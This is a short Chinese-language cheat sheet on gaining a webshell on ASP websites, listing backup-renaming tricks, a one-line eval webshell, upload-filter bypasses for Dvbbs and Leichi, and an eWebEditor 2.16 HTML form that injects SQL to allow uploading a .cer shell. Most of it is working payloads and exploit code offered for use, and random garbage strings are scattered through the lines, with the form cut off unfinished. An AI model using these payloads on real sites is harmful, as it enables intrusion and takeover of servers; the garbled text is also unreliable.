asp拿shell
1.有备份,上传图片备份。如不能修改文件后缀名,可备份成1.asp/1.mdb或1.asa/1.mdb的形式d~!T4QH+w0C&Fe_7K ]c/{.D
2.写入配置文件一句话木马,如果过滤了<,%,>,(,)可尝试<%eval request("value")%>来突破,例如config.asp4r.C Xf\I,Iz4D(?
3.上传漏洞:
^`5gd6cz G
动网上传漏洞:抓包nc提交,其中路径可改为zjq.asp 的形式,空格替换成0x00BI9ySb
+iv t"N#y.kf
逻辑上传漏洞:同时上传两个文件,第一个为正常文件,第二个为iis可解析后缀文件c1?kmZdS ck
E%b4cp&a k0f
雷池上传漏洞:http://localhost/leichinews/admin/uploadPic.asp?actionType=mod&picName=test.asp
然后在上传文件里面填要传的图片格式的ASP木马
就可以在uppic目录下上传文件名为test.asp的文件uppic/test.asp
4.ewebeditor:有后台添加asa或aaspsp上传类型,前提要进入后台。没后台如2.16版本可利用如下代码上传-hM[ Ez/o
<html>&WR-u~o3Q*P
<head>
<title>ewebeditor upload.asp上传利用</title>
</head>
<body>2l5x5n7[wF&f8m
<form action="upload.asp?action=save&type=IMAGE&style=luoye' union select S_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt, [S_ImageExt]%2b'|cer',S_MediaExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrl from ewebeditor_style where s_name='standard' and 'a'='a" method=post name=myform enctype="multipart/form-data">k"f{n-U(}2\2j
<input type=file name=uploadfile size=100><br><br>S-Xu D,oI
<input type=submit value=Fuck>